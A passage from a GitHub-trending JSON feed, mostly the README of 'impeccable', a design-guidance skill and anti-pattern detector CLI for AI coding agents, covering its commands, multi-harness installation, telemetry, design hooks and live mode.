href=\"https://github.com/anthropics/claude-code\">https://github.com/anthropics/claude-code</a></li> \n <li><a href=\"https://code.claude.com/docs/en/changelog#2-1-302\">https://code.claude.com/docs/en/changelog#2-1-302</a> <strong>Compatible Models</strong>: Claude Fable 5.1, Claude Fable 5, Claude Opus 5, Claude Sonnet 5, Claude Sonnet 4.6, Claude Opus 4.8, Claude Haiku 4.5</li> \n</ul>", "image": null, "banner_image": null, "date_published": "2026-10-28T08:46:08Z", "date_modified": "2026-10-28T08:46:08Z", "authors": ["Unknown"], "tags": [], "language": null, "attachments": ["\n                            {\"url\": string, \n                            'mime_type': string, \n                            'title': strinrg,\n                            'size_in_bytes': int,\n                            'duration_in_seconds': int\n                            "]}, {"id": "https://github.com/pbakaus/impeccable", "url": "https://github.com/pbakaus/impeccable", "external_url": null, "title": "pbakaus/impeccable", "content_text": "", "content_html": "<p>The design language that makes your AI harness better at design.</p><p><img alt=\"link\" height=\"20\" src=\"https://mshibanami.github.io/GitHubTrendingRSS/assets/icons/link.png\" style=\"margin: 0 8px 0 0; padding: 0; display: inline-block; vertical-align: middle;\" width=\"20\" /><a href=\"https://impeccable.style\">https://impeccable.style</a></p><hr /><h1>Impeccable</h1> \n<p>Design guidance for AI coding agents. 1 skill, 24 commands, live browser iteration, and 62 deterministic detector rules for AI-generated frontend design.</p> \n<blockquote> \n <p><strong>Quick start:</strong> From your project root, run <code>npx impeccable install</code>, then run <code>/impeccable init</code> inside your AI coding tool. Full docs: <a href=\"https://impeccable.style\">impeccable.style</a>.</p> \n</blockquote> \n<h2>Why Impeccable?</h2> \n<p>Anthropic's <a href=\"https://github.com/anthropics/skills/tree/main/skills/frontend-design\">frontend-design</a> was the first widely-used design skill for Claude. Impeccable started from there.</p> \n<p>Every model trained on the same SaaS templates. Skip the guidance and you get the same handful of tells on every project: Inter for everything, purple-to-blue gradients, cards nested in cards, gray text on colored backgrounds, the rounded-square icon tile above every heading.</p> \n<p>Impeccable adds:</p> \n<ul> \n <li><strong>One setup flow.</strong> <code>/impeccable init</code> records durable product truth in <code>PRODUCT.md</code>, so later commands know the audience, purpose, operating context, constraints, voice, and evidence without confusing those facts with surface-level visual direction.</li> \n <li><strong>24 commands.</strong> A shared design vocabulary with your AI: <code>polish</code>, <code>audit</code>, <code>critique</code>, <code>distill</code>, <code>animate</code>, <code>bolder</code>, <code>quieter</code>, and more.</li> \n <li><strong>62 deterministic detector rules</strong> plus LLM-only critique checks. The CLI and browser extension run the deterministic rules with no LLM and no API key.</li> \n</ul> \n<h2>What's Included</h2> \n<h3>The Skill: impeccable</h3> \n<p>The skill installs as one command:</p> \n<pre><code class=\"language-bash\">/impeccable &lt;command&gt; &lt;target&gt;\n</code></pre> \n<p>Start every new project with:</p> \n<pre><code class=\"language-bash\">/impeccable init\n</code></pre> \n<p><code>init</code> inspects the project, asks only for material gaps in durable product truth, and writes <code>PRODUCT.md</code>. Visitor mode and visual direction are chosen later for each surface; incumbent or newly built visual systems are recorded separately in <code>DESIGN.md</code>.</p> \n<h3>24 Commands</h3> \n<p>All commands are accessed through <code>/impeccable</code>:</p> \n<table> \n <thead> \n  <tr> \n   <th>Command</th> \n   <th>What it does</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td><code>/impeccable craft</code></td> \n   <td>Full shape-then-build flow with visual iteration</td> \n  </tr> \n  <tr> \n   <td><code>/impeccable init</code></td> \n   <td>One-time setup: gather durable product context, write <a href=\"http://PRODUCT.md\">PRODUCT.md</a>, configure live mode when applicable, recommend next steps</td> \n  </tr> \n  <tr> \n   <td><code>/impeccable document</code></td> \n   <td>Generate root <a href=\"http://DESIGN.md\">DESIGN.md</a> from existing project code</td> \n  </tr> \n  <tr> \n   <td><code>/impeccable extract</code></td> \n   <td>Pull reusable components and tokens into the design system</td> \n  </tr> \n  <tr> \n   <td><code>/impeccable shape</code></td> \n   <td>Plan UX/UI before writing code</td> \n  </tr> \n  <tr> \n   <td><code>/impeccable critique</code></td> \n   <td>UX design review: hierarchy, clarity, emotional resonance</td> \n  </tr> \n  <tr> \n   <td><code>/impeccable audit</code></td> \n   <td>Run technical quality checks (a11y, performance, responsive)</td> \n  </tr> \n  <tr> \n   <td><code>/impeccable polish</code></td> \n   <td>Final pass, design system alignment, and shipping readiness</td> \n  </tr> \n  <tr> \n   <td><code>/impeccable bolder</code></td> \n   <td>Amplify boring designs</td> \n  </tr> \n  <tr> \n   <td><code>/impeccable quieter</code></td> \n   <td>Tone down overly bold designs</td> \n  </tr> \n  <tr> \n   <td><code>/impeccable distill</code></td> \n   <td>Strip to essence</td> \n  </tr> \n  <tr> \n   <td><code>/impeccable harden</code></td> \n   <td>Error handling, i18n, text overflow, edge cases</td> \n  </tr> \n  <tr> \n   <td><code>/impeccable onboard</code></td> \n   <td>First-run flows, empty states, activation paths</td> \n  </tr> \n  <tr> \n   <td><code>/impeccable animate</code></td> \n   <td>Add purposeful motion</td> \n  </tr> \n  <tr> \n   <td><code>/impeccable colorize</code></td> \n   <td>Introduce strategic color</td> \n  </tr> \n  <tr> \n   <td><code>/impeccable typeset</code></td> \n   <td>Fix font choices, hierarchy, sizing</td> \n  </tr> \n  <tr> \n   <td><code>/impeccable layout</code></td> \n   <td>Fix layout, spacing, visual rhythm</td> \n  </tr> \n  <tr> \n   <td><code>/impeccable delight</code></td> \n   <td>Add moments of joy</td> \n  </tr> \n  <tr> \n   <td><code>/impeccable overdrive</code></td> \n   <td>Add technically extraordinary effects</td> \n  </tr> \n  <tr> \n   <td><code>/impeccable clarify</code></td> \n   <td>Improve unclear UX copy</td> \n  </tr> \n  <tr> \n   <td><code>/impeccable adapt</code></td> \n   <td>Adapt for different devices</td> \n  </tr> \n  <tr> \n   <td><code>/impeccable optimize</code></td> \n   <td>Performance improvements</td> \n  </tr> \n  <tr> \n   <td><code>/impeccable live</code></td> \n   <td>Visual variant mode: iterate on elements in the browser</td> \n  </tr> \n  <tr> \n   <td><code>/impeccable generate</code></td> \n   <td>Generate variants of a named element in the live browser, no manual picking</td> \n  </tr> \n </tbody> \n</table> \n<p>Use <code>/impeccable pin &lt;command&gt;</code> to create standalone shortcuts (e.g., <code>pin audit</code> creates <code>/audit</code>).</p> \n<h4>Usage Examples</h4> \n<pre><code>/impeccable audit blog           # Audit blog hub + post pages\n/impeccable critique landing     # UX design review\n/impeccable polish settings      # Final pass before shipping\n/impeccable harden checkout      # Add error handling + edge cases\n</code></pre> \n<p>Or use <code>/impeccable</code> directly with a description:</p> \n<pre><code>/impeccable redo this hero section\n</code></pre> \n<h3>Anti-Patterns</h3> \n<p>The skill includes explicit guidance on what to avoid:</p> \n<ul> \n <li>Don't use overused fonts (Arial, Inter, system defaults)</li> \n <li>Don't use gray text on colored backgrounds</li> \n <li>Don't use pure black/gray (always tint)</li> \n <li>Don't wrap everything in cards or nest cards inside cards</li> \n <li>Don't use bounce/elastic easing (feels dated)</li> \n</ul> \n<h2>See It In Action</h2> \n<p>Visit <a href=\"https://impeccable.style/cases/neo-mirai\">the Neo Mirai case study</a> to see a before/after case study of a real project transformed with Impeccable commands.</p> \n<h2>Installation</h2> \n<p>The skill needs no runtime of its own. Every skill copy ships a small launcher (<code>scripts/impeccable</code>, plus <code>impeccable.cmd</code> for Windows) that runs the Impeccable engine, a self-contained binary that either sits next to the launcher or is downloaded once on first run into <code>~/.impeccable/bin/</code>. Node is only involved if you use the <code>npx impeccable</code> installer, which is a shim around the same binary; the manual and Git options below work without it.</p> \n<h3>Option 1: CLI installer (Recommended)</h3> \n<p>From the root of your project, run:</p> \n<pre><code class=\"language-bash\">npx impeccable install\n</code></pre> \n<p>This shows the harness folders or installed CLIs it detected (for example <code>~/.claude</code>, <code>~/.codex</code>, <code>~/.grok</code>, <code>~/.hermes</code>, <code>~/.veto</code>, or project-local <code>.cursor</code>), lets you keep the detected set or customize providers, then asks whether to install into the current project or globally. Use <code>--providers=claude,codex,cursor,grok,hermes,veto</code> and <code>--scope=project|global</code> to skip those choices in scripts. On Claude Code, Cursor, Codex, GitHub Copilot, and Grok Build, it also installs the provider-native hook manifest for the current project. Veto receives the packaged skill under <code>~/.veto/skills/</code> and does not run native Impeccable edit hooks. Works with Cursor, Claude Code, Gemini CLI, Codex CLI, Grok Build, Hermes Agent, Veto, and every other supported tool. Reload your harness afterward.</p> \n<p>To refresh an existing install, run:</p> \n<pre><code class=\"language-bash\">npx impeccable update\n</code></pre> \n<p>Codex users should open <code>/hooks</code> after install or update and approve the project hook when prompted. Codex tracks trust by hook definition, so updates that change <code>.codex/hooks.json</code> can require approval again. Grok Build users need project folder trust (<code>/hooks-trust</code> or launch with <code>--trust</code>) before <code>.grok/hooks/</code> scripts run.</p> \n<p>See <a href=\"https://impeccable.style/docs/hooks#allow-the-hook-in-your-harness\">Allow the hook in your harness</a> for harness-specific trust and verification steps.</p> \n<h3>Option 2: Git Submodule</h3> \n<p>For teams that want to keep Impeccable vendored and updated through Git, add this repo as a submodule and link the compiled provider build into your harness folders:</p> \n<pre><code class=\"language-bash\">git submodule add https://github.com/pbakaus/impeccable .impeccable\nnpx impeccable link --source=.impeccable --providers=claude,cursor\ngit add .gitmodules .impeccable .claude .cursor\ngit commit -m \"Add Impeccable skills\"\n</code></pre> \n<p>Use the providers your project needs, for example <code>claude</code>, <code>cursor</code>, <code>gemini</code>, <code>codex</code>, <code>github</code>, <code>grok</code>, <code>hermes</code>, <code>opencode</code>, <code>pi</code>, <code>qoder</code>, <code>trae</code>, <code>trae-cn</code>, <code>rovo-dev</code>, <code>vibe</code>, or <code>veto</code>. The command links individual skill folders from <code>.impeccable/dist/universal/</code> and leaves existing real skill directories untouched unless you pass <code>--force</code>.</p> \n<p>To update later:</p> \n<pre><code class=\"language-bash\">git submodule update --remote .impeccable\nnpx impeccable link --source=.impeccable --providers=claude,cursor\n</code></pre> \n<h3>Option 3: Plugin install</h3> \n<p><strong>GitHub Copilot in VS Code:</strong></p> \n<p>Install <a href=\"https://marketplace.visualstudio.com/items?itemName=renaissance-geek.impeccable\">Impeccable from the Visual Studio Marketplace</a>, or run:</p> \n<pre><code class=\"language-bash\">code --install-extension renaissance-geek.impeccable\n</code></pre> \n<p>Requires VS Code 1.109.3+, Copilot Chat access, and a trusted local workspace. Open Chat in Agent mode and try <code>/impeccable polish</code>. This skill-only extension does not install automatic hooks; avoid a duplicate Impeccable skill in the same workspace/profile. See <a href=\"https://raw.githubusercontent.com/pbakaus/impeccable/main/docs/VSCODE-EXTENSION.md\">VS Code distribution details</a>.</p> \n<p><strong>Claude Code:</strong></p> \n<pre><code class=\"language-bash\">/plugin marketplace add pbakaus/impeccable\n</code></pre> \n<blockquote> \n <p>Claude Code only. After adding the marketplace, open <code>/plugin</code> and install Impeccable from the list.</p> \n</blockquote> \n<p><strong>Grok Build:</strong></p> \n<pre><code class=\"language-bash\">grok plugin install pbakaus/impeccable#plugin --trust\n</code></pre> \n<blockquote> \n <p>Grok Build only. The <code>#plugin</code> suffix installs the slim plugin package (skills, agents, and hooks) instead of the full monorepo. Then run <code>/impeccable init</code> in a Grok session. Project-scoped installs via <code>npx impeccable install --providers=grok</code> also work and write <code>.grok/skills/</code> plus <code>.grok/hooks/impeccable.json</code>.</p> \n</blockquote> \n<h3>Option 4: Download from Website</h3> \n<p>Visit <a href=\"https://impeccable.style\">impeccable.style</a>, download the ZIP for your tool, and extract to your project.</p> \n<h3>Option 5: Copy from Repository</h3> \n<p><strong>Cursor:</strong></p> \n<pre><code class=\"language-bash\">cp -r dist/cursor/.cursor your-project/\n</code></pre> \n<blockquote> \n <p><strong>Note:</strong> Cursor skills require setup:</p> \n <ol> \n  <li>Switch to Nightly channel in Cursor Settings \u2192 Beta</li> \n  <li>Enable Agent Skills in Cursor Settings \u2192 Rules</li> \n </ol> \n <p><a href=\"https://cursor.com/docs/context/skills\">Learn more about Cursor skills</a></p> \n</blockquote> \n<p><strong>Claude Code:</strong></p> \n<pre><code class=\"language-bash\"># Project-specific\ncp -r dist/claude-code/.claude your-project/\n\n# Or global (applies to all projects)\ncp -r dist/claude-code/.claude/* ~/.claude/\n</code></pre> \n<p><strong>OpenCode:</strong></p> \n<pre><code class=\"language-bash\">cp -r dist/opencode/.opencode your-project/\n</code></pre> \n<p><strong>DeepSeek Harness:</strong></p> \n<pre><code class=\"language-bash\"># Project-specific\ncp -r dist/dsh/.dsh your-project/\n\n# Or global (applies to all projects)\nmkdir -p \"${DSH_HOME:-$HOME/.dsh}/skills\"\ncp -r dist/dsh/.dsh/skills/* \"${DSH_HOME:-$HOME/.dsh}/skills/\"\n</code></pre> \n<p>The CLI honors <code>DSH_HOME</code> only when it resolves inside your home directory (or to home itself); otherwise it uses <code>~/.dsh</code>. An outside-home manual copy is not managed by <code>impeccable install/update</code>.</p> \n<p><strong>Hermes Agent:</strong></p> \n<pre><code class=\"language-bash\"># Global (applies to all projects; uses the active profile, or ~/.hermes by default)\ncp -r dist/hermes/.hermes/skills/* \"${HERMES_HOME:-$HOME/.hermes}/skills/\"\n\n# Or project-specific\ncp -r dist/hermes/.hermes your-project/\n</code></pre> \n<blockquote> \n <p><strong>Note:</strong> Hermes gates project-local skills behind a per-repo trust decision (they are procedure documents, so auto-loading them from any cloned repo is treated as a prompt-injection vector). After a project-scoped install, run <code>hermes skills trust</code> once from the project root. Global installs into the active <code>$HERMES_HOME/skills/</code> (or <code>~/.hermes/skills/</code> when unset) load without a trust step. <code>/impeccable &lt;command&gt;</code> then routes through the skill's Commands table; the design hook does not install on Hermes (no hook surface).</p> \n <p><a href=\"https://hermes-agent.nousresearch.com/docs/user-guide/features/skills\">Learn more about Hermes skills</a></p> \n</blockquote> \n<p><strong>Pi:</strong></p> \n<pre><code class=\"language-bash\">cp -r dist/pi/.pi your-project/\n</code></pre> \n<p><strong>Gemini CLI:</strong></p> \n<pre><code class=\"language-bash\">cp -r dist/gemini/.gemini your-project/\n</code></pre> \n<blockquote> \n <p><strong>Note:</strong> Gemini CLI skills require setup:</p> \n <ol> \n  <li>Install preview version: <code>npm i -g @google/gemini-cli@preview</code></li> \n  <li>Run <code>/settings</code> and enable \"Skills\"</li> \n  <li>Run <code>/skills list</code> to verify installation</li> \n </ol> \n <p><a href=\"https://geminicli.com/docs/cli/skills/\">Learn more about Gemini CLI skills</a></p> \n</blockquote> \n<p><strong>Codex CLI:</strong></p> \n<pre><code class=\"language-bash\"># Project-local\ncp -r dist/agents/.agents your-project/\nmkdir -p your-project/.codex\ncp dist/codex/.codex/hooks.json your-project/.codex/hooks.json\n\n# Or install the skill user-wide. Copy .codex/hooks.json into each project\n# where you want the design hook to run.\nmkdir -p ~/.agents/skills\ncp -r dist/agents/.agents/skills/* ~/.agents/skills/\n</code></pre> \n<blockquote> \n <p>The asset-producer subagent ships nested inside the skill's own <code>agents/</code> folder, which Codex auto-discovers. No separate <code>.codex/agents/</code> copy is needed. The hook is project-local because Codex discovers hooks from <code>.codex/hooks.json</code> next to trusted project config.</p> \n</blockquote> \n<p><strong>GitHub Copilot:</strong></p> \n<pre><code class=\"language-bash\">cp -r dist/github/.github your-project/\n</code></pre> \n<p><strong>Trae:</strong></p> \n<pre><code class=\"language-bash\"># Trae China (domestic version)\ncp -r dist/trae/.trae-cn/skills/* ~/.trae-cn/skills/\n\n# Trae International\ncp -r dist/trae/.trae/skills/* ~/.trae/skills/\n</code></pre> \n<blockquote> \n <p><strong>Note:</strong> Trae has two versions with different config directories:</p> \n <ul> \n  <li><strong>Trae China</strong>: <code>~/.trae-cn/skills/</code></li> \n  <li><strong>Trae International</strong>: <code>~/.trae/skills/</code></li> \n </ul> \n <p>After copying, restart Trae IDE to activate the skills.</p> \n</blockquote> \n<p><strong>Rovo Dev:</strong></p> \n<pre><code class=\"language-bash\"># Project-specific\ncp -r dist/rovo-dev/.rovodev your-project/\n\n# Or global (applies to all projects)\ncp -r dist/rovo-dev/.rovodev/skills/* ~/.rovodev/skills/\n</code></pre> \n<p><strong>Qoder:</strong></p> \n<pre><code class=\"language-bash\"># Project-specific\ncp -r dist/qoder/.qoder your-project/\n\n# Or global (applies to all projects)\ncp -r dist/qoder/.qoder/skills/* ~/.qoder/skills/\n</code></pre> \n<p><strong>Mistral Vibe:</strong></p> \n<pre><code class=\"language-bash\"># Project-specific\ncp -r dist/vibe/.vibe your-project/\n\n# Or global (applies to all projects)\ncp -r dist/vibe/.vibe/skills/* ~/.vibe/skills/\n</code></pre> \n<p><strong>Grok Build:</strong></p> \n<pre><code class=\"language-bash\"># Project-specific\ncp -r dist/grok/.grok your-project/\n\n# Or global (applies to all projects)\ncp -r dist/grok/.grok/skills/* ~/.grok/skills/\n</code></pre> \n<blockquote> \n <p>Prefer <code>npx impeccable install --providers=grok</code> or <code>grok plugin install pbakaus/impeccable#plugin --trust</code> so the design hook installs too. Project hooks need <code>/hooks-trust</code> (or <code>--trust</code>) once per folder.</p> \n</blockquote> \n<p><strong>Google Antigravity:</strong></p> \n<pre><code class=\"language-bash\"># Project-specific\ncp -r dist/antigravity/.agent your-project/\n\n# Or global (applies to all projects)\nmkdir -p ~/.gemini/config/skills\ncp -r dist/antigravity/.agent/skills/* ~/.gemini/config/skills/\n</code></pre> \n<h2>Usage</h2> \n<p>Once installed, every command runs through the single <code>/impeccable</code> skill:</p> \n<pre><code>/impeccable audit        # Find issues\n/impeccable polish       # Final cleanup\n/impeccable distill      # Remove complexity\n/impeccable critique     # Full design review\n</code></pre> \n<p>Type <code>/impeccable</code> alone to see the full command list.</p> \n<p>Most commands accept an optional argument to focus on a specific area:</p> \n<pre><code>/impeccable audit the header\n/impeccable polish the checkout form\n</code></pre> \n<p>If you reach for one command often, pin it with <code>/impeccable pin audit</code> to get <code>/audit</code> as a standalone shortcut.</p> \n<p><strong>Note:</strong> Codex uses skills here, not <code>/prompts:</code> commands. Open <code>/skills</code> or type <code>$impeccable</code>. Repo-local installs live in <code>.agents/skills/</code>; user-wide installs live in <code>~/.agents/skills/</code>. GitHub Copilot uses <code>.github/skills/</code>. Restart the tool if a newly installed skill does not appear.</p> \n<h2>Keeping <code>.impeccable</code> out of git</h2> \n<p>As you run commands, Impeccable writes working files under <code>.impeccable/</code>: critique and polish screenshots, live-mode session and preview state, runtime caches, and per-developer config. Most of it is ephemeral and should not be committed, while a few files are shared project artifacts that belong in the repo. Add this block to your project's <code>.gitignore</code>:</p> \n<pre><code class=\"language-gitignore\"># impeccable-ignore-start\n# Ephemeral output, runtime state, and per-dev overrides.\n# The **/ prefix covers .impeccable at the repo root or in a nested workspace.\n# Shared artifacts stay tracked: config.json, live/config.json,\n# design.json, surfaces/*.md, critique/*.md.\n**/.impeccable/config.local.json\n**/.impeccable/hook.cache.json\n**/.impeccable/hook.pending.json\n**/.impeccable/*.png\n**/.impeccable/review/\n**/.impeccable/questions/\n**/.impeccable/live/server.json\n**/.impeccable/live/sessions/\n**/.impeccable/live/previews/\n**/.impeccable/live/annotations/\n**/.impeccable/live/cache/\n**/.impeccable/live/manual-edit-apply-transaction.json\n**/.impeccable/live/manual-edit-events.jsonl\n**/.impeccable/live/manual-edit-evidence/\n**/.impeccable/live/pending-manual-edits.json\n**/.impeccable/live/deferred-svelte-component-accepts.json\n**/.impeccable/live/*.png\n# impeccable-ignore-end\n</code></pre> \n<p>The block is wrapped in <code># impeccable-ignore-start</code> / <code># impeccable-ignore-end</code> markers so you can recognize and refresh it later. The <code>**/</code> prefix makes each pattern match whether the active project's <code>.impeccable/</code> directory is at the repository root or under a nested workspace path like <code>apps/web/</code>.</p> \n<p><strong>Keep these tracked</strong> (they are shared project artifacts, do not add them to <code>.gitignore</code>):</p> \n<ul> \n <li><code>.impeccable/config.json</code> (unified shared config)</li> \n <li><code>.impeccable/live/config.json</code> (live-mode framework wiring)</li> \n <li><code>.impeccable/design.json</code> (shared design spec)</li> \n <li><code>.impeccable/surfaces/*.md</code> (route- or artifact-specific strategy and direction contracts)</li> \n <li><code>.impeccable/critique/*.md</code> (review reports)</li> \n</ul> \n<p>Impeccable also keeps its own <code>.gitignore</code> in the folders that hold decision-round state: <code>.impeccable/questions/</code> and <code>.impeccable/mocks/worlds/</code> ignore everything in them, and <code>.impeccable/build/</code> ignores <code>state.json</code>. That keeps new runtime files out of commits even in a project without the block above. A <code>.gitignore</code> cannot untrack a file git already tracks, though: when one of these files was committed earlier, the next roll prints a one-time notice with the fix, <code>git rm -r --cached .impeccable/questions</code> (plus any other folder it names), and writes its roll record to an untracked file until then.</p> \n<p>If an ephemeral file (a screenshot, <code>config.local.json</code>) was committed before you added the block, <code>.gitignore</code> will not untrack it automatically. Run <code>git rm --cached &lt;path&gt;</code> to stop tracking it without deleting your local copy.</p> \n<h2>Telemetry</h2> \n<p>When a new design starts, the skill asks the roll API at impeccable.style to deal a hand of visual worlds from the catalog. That request is the feature, so it always happens. Unless you opt out, it also feeds an anonymous record of which hand was shown and which card won, which is how the catalog learns what works.</p> \n<p>What is sent, on the roll request and on the choice that follows it:</p> \n<ul> \n <li>the roll key (a random value per decision round), scope (direction or surface), visitor mode, and re-roll round</li> \n <li>the catalog revision the hand came from, and on the choice the kind of card that won (assigned, pick, challenger, canon, or a re-roll), its catalog id when a catalog world won, and its position on the page</li> \n <li>the client version, whether the choice came from the decision page or the agent, and a random id for that choice so a report sent twice is counted once</li> \n</ul> \n<p>Never sent: your project's name, files, code, <a href=\"http://PRODUCT.md\">PRODUCT.md</a>, or the names of the directions your agent wrote. Committed files such as surface briefs record only a seed reference, a hash of the roll key under a random salt kept in <code>~/.impeccable/seed-salt</code>, never the key itself. If no salt can be kept on a machine, the brief records no seed at all rather than a weaker hash. Roll keys are 128 random bits. If you pass your own short key with <code>--from</code>, its reference is easy to guess, so do not rely on it to keep that key private.</p> \n<p>To turn it off, run <code>npx impeccable telemetry off</code> (stored in <code>~/.impeccable/config.json</code>), or set <code>DO_NOT_TRACK=1</code> or <code>IMPECCABLE_NO_TELEMETRY=1</code>. A project can opt everyone out with <code>\"telemetry\": false</code> in <code>.impeccable/config.json</code>. <code>npx impeccable telemetry status</code> shows the current state. Opted out, the roll still works and the API is told not to record it. Details: <a href=\"https://impeccable.style/privacy\">https://impeccable.style/privacy</a></p> \n<h2>Design hook</h2> \n<p>On Claude Code, GitHub Copilot, Codex, Cursor, and Grok Build, <code>npx impeccable install</code> and <code>npx impeccable update</code> install a provider-native hook manifest along with the skill payload. The hook runs the Impeccable design detector on direct UI file edits and surfaces findings back into the agent flow. Claude Code, GitHub Copilot, Codex, and Cursor surface findings after the edit (and run a deeper pass on Stop where supported). Grok Build scans after the edit to warm Stop, then surfaces on Stop; PostToolUse stdout never reaches the model.</p> \n<p>Installed hook surfaces:</p> \n<ul> \n <li>Claude Code: <code>.claude/settings.local.json</code> (gitignored, machine-local) runs <code>${CLAUDE_PROJECT_DIR}/.claude/skills/impeccable/scripts/impeccable hook</code>. A hook moved into the shared <code>settings.json</code> is honored in place.</li> \n <li>GitHub Copilot: <code>.github/hooks/impeccable.json</code> (committed, shared by the Copilot CLI and the cloud agent) runs <code>.github/skills/impeccable/scripts/impeccable hook</code>. The Copilot CLI activates it once the file is on the repository's default branch and the folder is trusted.</li> \n <li>Cursor: <code>.cursor/hooks.json</code> runs <code>.cursor/skills/impeccable/scripts/impeccable hook</code> on <code>postToolUse</code> for file writes. Projects set up with the older <code>preToolUse</code> write gate keep working; <code>npx impeccable update</code> moves them to the post-edit hook.</li> \n <li>Codex: <code>.codex/hooks.json</code> runs <code>.agents/skills/impeccable/scripts/impeccable hook</code>, with a <code>commandWindows</code> sibling that calls <code>impeccable.cmd</code> for cmd.exe.</li> \n <li>Grok Build: <code>.grok/hooks/impeccable.json</code> runs <code>.grok/skills/impeccable/scripts/impeccable hook</code>. Requires <code>/hooks-trust</code> or <code>--trust</code>. Findings reach the model on Stop, not after each edit.</li> \n</ul> \n<p>Every command goes through the launcher shipped in the skill's <code>scripts/</code> directory (<code>impeccable</code>, or <code>impeccable.cmd</code> on Windows), guarded so a missing launcher is a silent no-op. The launcher runs the engine binary that ships next to it, or downloads the pinned version once into <code>~/.impeccable/bin/</code>. No Node or other runtime is required for the hook or the skill.</p> \n<p>In Claude Code, installed command hooks run independently of model-tool approval. The first edit or Stop event can therefore download and cache the engine even if the session denies the model's launcher command. Review installed hooks before unattended runs; to disable all Claude Code hooks for a run, pass <code>--settings '{\"disableAllHooks\": true}'</code>. See <a href=\"https://code.claude.com/docs/en/hooks#security-considerations\">Claude Code's hook security guidance</a>.</p> \n<p>The installer preserves unrelated hook entries and settings. If a hook manifest is malformed, install/update aborts by default; rerun with <code>--force</code> to back up the malformed file as <code>.bak</code> and replace it.</p> \n<p>On an interactive <code>install</code>/<code>update</code>, Impeccable explains the hook and offers to install it (default yes). Your choice is remembered per-developer in the gitignored <code>.impeccable/config.local.json</code>, so you are not asked again; <code>--no-hooks</code> skips it for that run without recording anything. Hook lifecycle settings live under the <code>hook</code> key of <code>.impeccable/config.json</code>; detector ignores live under <code>detector</code>, shared by <code>/impeccable hooks</code> and <code>npx impeccable detect</code>.</p> \n<p>For debugging, set <code>hook.auditLog</code> in <code>.impeccable/config.json</code> to a path (or the legacy <code>IMPECCABLE_HOOK_LOG</code> env var) to write one NDJSON line per hook invocation. Leave it unset for normal use.</p> \n<h2>Build path: comp-first or code-first</h2> \n<p>When a new surface gets designed, Impeccable either generates a full-fidelity comp first and builds to match it, or builds straight in code with the ambition written into a development-only direction contract in the surface brief and checked at the finish. Comp-first composes bolder and takes longer; code-first is leaner and faster. The choice covers landing pages and showcase surfaces. App screens and documents are built code-first either way, because they come out better built than pictured. <code>/impeccable init</code> asks once and records the answer as <code>buildPath</code> in <code>.impeccable/config.json</code>:</p> \n<pre><code class=\"language-json\">{ \"buildPath\": \"comp\" }\n</code></pre> \n<p>The values are <code>comp</code> and <code>code</code>, and nothing else is read. Set it in the gitignored <code>.impeccable/config.local.json</code> to override the team's committed value on one machine, which is what you want when your harness has no image generation. In a monorepo, commit it once at the repo root and any workspace that wants something else sets its own. The choice appears at all only where image generation is available, since without it there is nothing to comp.</p> \n<p>You do not have to re-run <code>init</code> to set it on a project that predates the setting, and you do not have to edit the file by hand either. Whatever is recorded is a default rather than a lock: every decision page carries a footer toggle, and flipping it binds that session only. Flip it on a project that has recorded nothing and Impeccable asks once, after the round, whether to keep it, then writes your answer. That is the whole migration path for an existing project: use the toggle when the default is wrong, and answer the question that follows.</p> \n<p>Codex requires one platform step that Impeccable cannot safely skip: open <code>/hooks</code> after install or update and approve the project hook. There is no Codex marketplace/plugin install flow for this hook.</p> \n<p>Full hook docs: <a href=\"https://impeccable.style/docs/hooks\">impeccable.style/docs/hooks</a>.</p> \n<p>The Stop pass suppresses confirmed pre-existing findings when a verified before-edit baseline is available (currently Claude Edit/Write results for text scans). Other findings are marked new or attribution unknown; unknown is not evidence that your session caused the problem. Explicit <code>detect</code> scans remain unchanged.</p> \n<p>Manual copy commands are fallback/debug instructions. The normal path is:</p> \n<pre><code class=\"language-bash\">npx impeccable install\nnpx impeccable update\n</code></pre> \n<h2>Live mode and production sites</h2> \n<p>Live mode edits a local checkout through a development server or local static HTML. Injecting its localhost HTTP helper into a deployed production site, including an HTTPS site, is not supported. Do not disable browser security or weaken production CSP to make it work.</p> \n<p>Use live mode only in projects you trust to run locally. Applying copy edits automatically runs <code>package.json</code>'s optional <code>scripts[\"impeccable:manual-edit-validate\"]</code> command in a shell, with your user permissions; review that script before using live mode in an unfamiliar checkout.</p> \n<p>For production inspection, use <code>npx impeccable detect https://example.com</code> or the browser extension. These inspect the rendered page; they do not provide live variant editing or write changes back to your source.</p> \n<h2>CLI</h2> \n<p>Impeccable includes a standalone CLI for detecting anti-patterns without an AI harness. <code>npx impeccable</code> is a small shim that runs the same engine binary the skill uses (installed as a platform-specific optional dependency, or fetched once into <code>~/.impeccable/bin/</code>); Node is needed only for <code>npx</code> itself, and you can also download the binary directly and put it on your PATH.</p> \n<pre><code class=\"language-bash\">npx impeccable detect src/                   # scan a directory\nnpx impeccable detect index.html             # scan an HTML file\nnpx impeccable detect https://example.com    # scan a URL (uses an installed Chrome, Chromium, or Edge)\nnpx impeccable detect --json .               # CI-friendly JSON output\nnpx impeccable detect --github src/          # GitHub Actions annotations on stdout\nnpx impeccable detect --list-rules           # catalog of detector rule ids, names, and descriptions\nnpx impeccable detect --no-config src/       # raw scan, ignoring project config/context\nnpx impeccable ignores list                  # show detector ignores\nnpx impeccable ignores add-file \"src/legacy/**\"\nnpx impeccable ignores add-value overused-font Inter --reason \"Brand font\"\n</code></pre> \n<p>The detector catches 62 deterministic issues across AI slop (side-tab borders, purple gradients, bounce easing, dark glows) and general design quality (line length, cramped padding, small touch targets, skipped headings, and more).</p> \n<p>Human-readable findings are diagnostics written to stderr, so redirect them with <code>2&gt; findings.txt</code>. Use <code>--json</code> for machine-readable results on stdout, or <code>--github</code> for GitHub Actions annotations (one workflow command per finding). GitHub displays at most 10 annotations of each type per step and 50 per job, and the rest stay in the log; findings from the HTML engine may carry no line number, so they annotate the file. <code>--list-rules</code> prints the detector catalog to stdout and does not scan. Exit <code>0</code> means the scan completed without primary findings, exit <code>2</code> means it completed with primary findings, and exit <code>1</code> means at least one requested target could not be scanned; operational failure takes precedence for a partial multi-target scan. URL scans inspect the rendered DOM, computed layout, and accessible linked stylesheets; browser security still prevents reading cross-origin CSS without CORS. A clean detector run is evidence, not proof of visual or accessibility quality: it does not replace inspecting the rendered experience across relevant viewports.</p> \n<p>By default, <code>detect</code> respects the same <code>.impeccable/config.json</code> and <code>.impeccable/config.local.json</code> detector config as the design hook: <code>detector.ignoreRules</code>, <code>detector.ignoreFiles</code>, <code>detector.ignoreValues</code>, and <code>detector.designSystem.enabled</code>. Hook lifecycle settings such as 